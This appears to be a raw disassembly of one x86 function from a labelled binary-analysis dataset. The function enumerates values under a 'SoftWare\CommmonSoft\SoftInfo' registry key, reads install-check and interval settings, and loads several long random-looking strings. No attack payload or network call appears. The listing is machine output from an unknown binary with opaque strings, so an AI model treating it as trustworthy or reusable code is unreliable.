Function at 0x413da0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5402e2
mov eax, dword fs:[0]
push eax
sub esp, 0x804
mov eax, dword [0x672114]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x7e0], ebx
mov ecx, dword [ebx + 0x4c]
mov eax, dword [ecx]
call dword [eax + 0x4c]
test eax, eax
jle 0x4145bc
mov dword [ebp - 0x7dc], 0
mov dword [ebp - 0x7d8], 0
mov dword [ebp - 0x7cc], 0
mov dword [ebp - 0x810], 0
mov dword [ebp - 0x80c], 0
mov dword [ebp - 0x808], 0
mov ecx, 0x66
mov dword [ebp - 4], 0
mov esi, str.xBcjjAHv72sUSB6dv8MlOkONEivyXnUhTOQtGZGeVdynxmVmTO2EL2RSCVRiMgMEeHrwisGWwkurKNYLXvy9V5VKvbImx9PXLpuCK0f4V45c11uadSr69wnYf51Y6JOFY3Iq5vL2qobnIfbnploHIUKROOw4JFfzFQiXBI07Dfsl7rRGrfM7KXL3imrGAc8yVlY66bvXriGekOsBUvouDOgbwiOrthxxWky6TYGkUOtLFxAVgzc3oomcvfy2qKYoMI1yY4PZQlsbfMlubdzx96iDg0bjuKqFVKAcXixvo6tZq2Ytwsxc0NI3GrWxzYnzLcPzmvPjTcq0q0CwKS7fcx1kTb6bc27H5RQByUpWhZ0w6lK8Rqu9vPzrSrKontHYvVPKpTVSa4DAzYQ95WY4MKZT
mov dword [ebp - 0x744], 0xf
lea edi, [ebp - 0x634]
mov dword [ebp - 0x748], 0
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x758], 0
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x634], 0
jne 0x413e64
xor ecx, ecx
jmp 0x413e79
lea ecx, [ebp - 0x634]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413e70
sub ecx, edx
push ecx
lea eax, [ebp - 0x634]
push eax
lea ecx, [ebp - 0x758]
call fcn.00407f10
lea eax, [ebp - 0x758]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x810]
call fcn.00408170
mov eax, dword [ebp - 0x744]
mov byte [ebp - 4], 0
cmp eax, 0x10
jb 0x413ec4
inc eax
lea ecx, [ebp - 0x758]
push eax
push dword [ebp - 0x758]
call fcn.00408010
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0x7dc]
push eax
push 0xf003f
push 0
push str.SoftWare
push reloc.OLEAUT32.dll_SysReAllocString
call esi
test eax, eax
jne 0x4145b1
lea eax, [ebp - 0x7d8]
push eax
push 0xf003f
push 0
push str.CommmonSoft
push dword [ebp - 0x7dc]
call esi
test eax, eax
jne 0x4145b1
lea eax, [ebp - 0x7cc]
push eax
push 0xf003f
push 0
push str.SoftInfo
push dword [ebp - 0x7d8]
call esi
test eax, eax
jne 0x4145b1
mov dword [ebp - 0x804], eax
mov dword [ebp - 0x800], eax
mov dword [ebp - 0x7fc], eax
mov ecx, 0x42
mov byte [ebp - 4], 2
mov esi, str.v2tqhsZGJtndh9VHp4plKAhzZBoUnmvxSCRSpuNjE9A9IjH2nWk8zvikCVaK47ElQfSgm7DfMT3mpCPp2DB0BBJlg7FQ9Uo9weTdxfWuiRVs00QWrg1Nk8DmwKZyt5eZWvhQ4fB0bK3iX6ludbwtSLHx2iCD2iWyWSDVbtgjqOaf6YuPccZXv3m6lRMcBZTgkDjv3mkhIZjHvHcKRpR3wMxEwP391dOZ8wwRX8upZSKrybDUv4M3KHgRAAraHENeARH9rMpVkJ
lea edi, [ebp - 0x740]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x740]
push eax
lea ecx, [ebp - 0x770]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.004057d0
lea eax, [ebp - 0x770]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x804]
call fcn.00408170
lea ecx, [ebp - 0x770]
mov byte [ebp - 4], 2
call fcn.00405a30
lea ecx, [ebp - 0x7d4]
mov dword [ebp - 0x7d4], 0
mov dword [ebp - 0x7d0], 0
call fcn.004525c0
mov dword [ebp - 0x7d4], eax
mov byte [ebp - 4], 4
xor esi, esi
call fcn.00402160
mov dword [ebp - 0x7bc], esi
mov dword [ebp - 0x7c8], 0x100
mov dword [ebp - 0x7c0], 4
mov dword [ebp - 0x7c4], 4
call fcn.004805f7
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
lea eax, [ebp - 0x7c0]
push eax
lea eax, [ebp - 0x7bc]
push eax
lea eax, [ebp - 0x7c4]
push eax
push esi
lea eax, [ebp - 0x7c8]
push eax
lea eax, [ebp - 0x110]
push eax
push esi
push dword [ebp - 0x7cc]
call edi
test eax, eax
jne 0x414125
cmp byte [ebp - 0x110], 0
mov dword [ebp - 0x744], 0xf
mov dword [ebp - 0x748], 0
mov byte [ebp - 0x758], 0
jne 0x414050
xor eax, eax
jmp 0x414069
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x414060
sub eax, edx
push eax
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x758]
call fcn.00407f10
lea eax, [ebp - 0x758]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x7d4]
call fcn.004132c0
mov ecx, dword [ebp - 0x7bc]
mov byte [ebp - 4], 4
mov dword [eax], ecx
mov eax, dword [ebp - 0x744]
cmp eax, 0x10
jb 0x4140bc
inc eax
lea ecx, [ebp - 0x758]
push eax
push dword [ebp - 0x758]
call fcn.00408010
inc esi
call fcn.00402160
mov dword [ebp - 0x7bc], 0
mov dword [ebp - 0x7c8], 0x100
mov dword [ebp - 0x7c0], 4
mov dword [ebp - 0x7c4], 4
call fcn.004805f7
lea eax, [ebp - 0x7c0]
push eax
lea eax, [ebp - 0x7bc]
push eax
lea eax, [ebp - 0x7c4]
push eax
push 0
lea eax, [ebp - 0x7c8]
push eax
lea eax, [ebp - 0x110]
push eax
push esi
push dword [ebp - 0x7cc]
call edi
test eax, eax
je 0x414028
mov eax, dword [ebp - 0x7cc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x414138
push eax
call esi
mov eax, dword [ebp - 0x7d8]
test eax, eax
je 0x414145
push eax
call esi
push dword [ebp - 0x7dc]
call esi
mov dword [ebp - 0x7f8], 0
mov dword [ebp - 0x7f4], 0
mov dword [ebp - 0x7f0], 0
mov ecx, 0x5f
mov byte [ebp - 4], 6
mov esi, str.MlAtQfcuH3gtPP3sIrHOGRgmBW6ZeleYwzLBwJ4T5zRiAYb9tBM7Inji4CH8hlon6bPaQf0kxNcIRsrJS13xrtfHn611MlvgUUDDFsU9xS91ku42JEQQNYY62Gkh7HfZcULdupqkBWMe9br3V5CUsvC89WsPTAIoLaw0IE9U861GxsJyGQd4FVCsJrBNIL6OFrX8BKbPqLGXa1tIgidwYr9VKlwsneGnkeyeYeenLEoEc9pjHK4z1HWFu7JPVK8hCjZaFUtJkybsyLVufSO2wwHEkjc0dUoxR09V1L6cd1TEvPbVx5cKHpBNiG8shHfJK0oZ2GZr6PtdxY2IZmG9p2ok6s7C1aRDFLQiwCSZviR7hDyVbWQd2YvTqv3P
mov dword [ebp - 0x744], 0xf
lea edi, [ebp - 0x498]
mov dword [ebp - 0x748], 0
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x758], 0
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x498], 0
jne 0x4141aa
xor ecx, ecx
jmp 0x4141bc
lea ecx, [ebp - 0x498]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4141b3
sub ecx, edx
push ecx
lea eax, [ebp - 0x498]
push eax
lea ecx, [ebp - 0x758]
call fcn.00407f10
lea eax, [ebp - 0x758]
mov byte [ebp - 4], 7
push eax
lea ecx, [ebp - 0x7f8]
call fcn.00408170
mov eax, dword [ebp - 0x744]
mov byte [ebp - 4], 6
cmp eax, 0x10
jb 0x414207
inc eax
lea ecx, [ebp - 0x758]
push eax
push dword [ebp - 0x758]
call fcn.00408010
call fcn.004dc85c
mov ecx, dword [ebx + 0x4c]
mov dword [ebp - 0x7c0], eax
mov ebx, dword [ecx + 4]
cmp ebx, dword [ecx + 8]
je 0x41456e
mov esi, dword [ebx + 0x18]
lea ecx, [ebp - 0x758]
push 0x10
xor eax, eax
mov dword [ebp - 0x7bc], esi
push str.InstallCheckName
mov dword [ebp - 0x744], 7
mov dword [ebp - 0x748], 0
mov word [ebp - 0x758], ax
call fcn.00402650
mov eax, dword [esi]
lea ecx, [ebp - 0x758]
push ecx
mov ecx, esi
mov byte [ebp - 4], 8
call dword [eax + 0x1c]
mov ecx, dword [ebp - 0x744]
mov edi, eax
mov byte [ebp - 4], 6
cmp ecx, 8
jb 0x41428f
inc ecx
push ecx
push dword [ebp - 0x758]
lea ecx, [ebp - 0x758]
call fcn.00402750
xor eax, eax
mov dword [ebp - 0x744], 7
push str.InstallIntervarTime
lea ecx, [ebp - 0x770]
mov dword [ebp - 0x748], 0
mov word [ebp - 0x758], ax
call fcn.004024f0
mov eax, dword [esi]
lea ecx, [ebp - 0x770]
push ecx
mov ecx, esi
mov byte [ebp - 4], 9
call dword [eax + 0x1c]
mov ecx, dword [ebp - 0x75c]
mov esi, eax
mov byte [ebp - 4], 6
cmp ecx, 8
jb 0x4142f2
inc ecx
push ecx
push dword [ebp - 0x770]
lea ecx, [ebp - 0x770]
call fcn.00402750
xor eax, eax
mov dword [ebp - 0x75c], 7
mov dword [ebp - 0x760], 0
mov word [ebp - 0x770], ax
test edi, edi
je 0x414559
test esi, esi
je 0x414559
cmp dword [esi + 0x14], 8
jb 0x414327
mov esi, dword [esi]
push esi
call fcn.004f4509
push 0x104
mov esi, eax
lea eax, [ebp - 0x214]
push 0
push eax
call fcn.004f0ae0
push 0x104
lea eax, [ebp - 0x318]
push 0
push eax
call fcn.004f0ae0
add esp, 0x1c
call fcn.00402160
mov dword [ebp - 0x7c8], 0xbb8
cmp dword [edi + 0x14], 8
jb 0x41436f
mov edi, dword [edi]
lea eax, [ebp - 0x214]
push eax
push edi
call fcn.004da3ea
add esp, 8
lea eax, [ebp - 0x214]
lea ecx, [ebp - 0x7b8]
push eax
call fcn.004057d0
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0xa
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4143a0
lea eax, [ebp - 0x7c8]
sub ecx, edx
push eax
lea eax, [ebp - 0x318]
push eax
push ecx
lea eax, [ebp - 0x214]
push eax
call fcn.004d5285
add esp, 0x10
call fcn.0047fd10
lea eax, [ebp - 0x318]
push eax
lea ecx, [ebp - 0x770]
call fcn.004057d0
lea eax, [ebp - 0x770]
mov byte [ebp - 4], 0xb
push eax
lea eax, [ebp - 0x7c4]
push eax
lea ecx, [ebp - 0x7d4]
call fcn.00426fa0
lea ecx, [ebp - 0x770]
call fcn.00405a30
mov eax, dword [ebp - 0x7c4]
cmp eax, dword [ebp - 0x7d4]
je 0x41454a
mov ecx, dword [ebp - 0x7c0]
sub ecx, dword [eax + 0x28]
cmp ecx, esi
jge 0x41454a
mov dword [ebp - 0x7ec], 0
mov dword [ebp - 0x7e8], 0
mov dword [ebp - 0x7e4], 0
mov ecx, 0x37
mov byte [ebp - 4], 0xc
mov esi, str.Z9l1CLdfBL7QYy47RmRQGtQ0BraMBDqmEZvegGxVodMSa1yYh3s5MXY6TXzOdJEYyDa3sqb6N8uNacf0dQSCgkO30ApIJlWTJp7QF73FBOUPIhFA6R50RanZZtVnpGPEJIn9zStgBLLXNAmYH0ab9Lh86abjQsI8ynXDgMdlBmnJYEeSbTcp1HPzWS6KaHmVGqFBM7XXEy7BYiabB84W7QKaGvIS
lea edi, [ebp - 0xf0]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x770]
movsb byte es:[edi], byte [esi]
call fcn.004057d0
lea eax, [ebp - 0x770]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0x7ec]
call fcn.00408170
lea ecx, [ebp - 0x770]
mov byte [ebp - 4], 0xc
call fcn.00405a30
lea eax, [ebp - 0x7a0]
push 0xd5
push eax
call fcn.00407930
mov ecx, eax
call fcn.0043a7d0
cmp dword [eax + 0x14], 8
mov byte [ebp - 4], 0xe
jb 0x4144b9
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x758]
call fcn.004024f0
lea eax, [ebp - 0x788]
mov byte [ebp - 4], 0xf
push 0x35
push eax
call fcn.00407930
mov ecx, eax
call fcn.0043a7d0
cmp dword [eax + 0x14], 8
mov byte [ebp - 4], 0x10
jb 0x4144ea
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x770]
call fcn.004024f0
mov ecx, dword [ebp - 0x7bc]
lea edx, [ebp - 0x758]
push edx
lea edx, [ebp - 0x770]
mov byte [ebp - 4], 0x11
push edx
mov eax, dword [ecx]
call dword [eax + 8]
lea ecx, [ebp - 0x770]
call fcn.004024b0
lea ecx, [ebp - 0x788]
call fcn.004024b0
lea ecx, [ebp - 0x758]
call fcn.004024b0
lea ecx, [ebp - 0x7a0]
call fcn.004024b0
lea ecx, [ebp - 0x7ec]
call fcn.00405a70
lea ecx, [ebp - 0x7b8]
mov byte [ebp - 4], 6
call fcn.00405a30
mov eax, dword [ebp - 0x7e0]
add ebx, 0x1c
mov eax, dword [eax + 0x4c]
cmp ebx, dword [eax + 8]
jne 0x414221
lea ecx, [ebp - 0x7f8]
call fcn.00405a70
mov eax, dword [ebp - 0x7d4]
lea ecx, [ebp - 0x7d4]
push eax
mov byte [ebp - 4], 0x13
push dword [eax]
lea eax, [ebp - 0x7e0]
push eax
call fcn.00426770
push dword [ebp - 0x7d4]
call fcn.004cbd53
add esp, 4
lea ecx, [ebp - 0x804]
call fcn.00405a70
lea ecx, [ebp - 0x810]
call fcn.00405a70
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00474193
mov esp, ebp
pop ebp
ret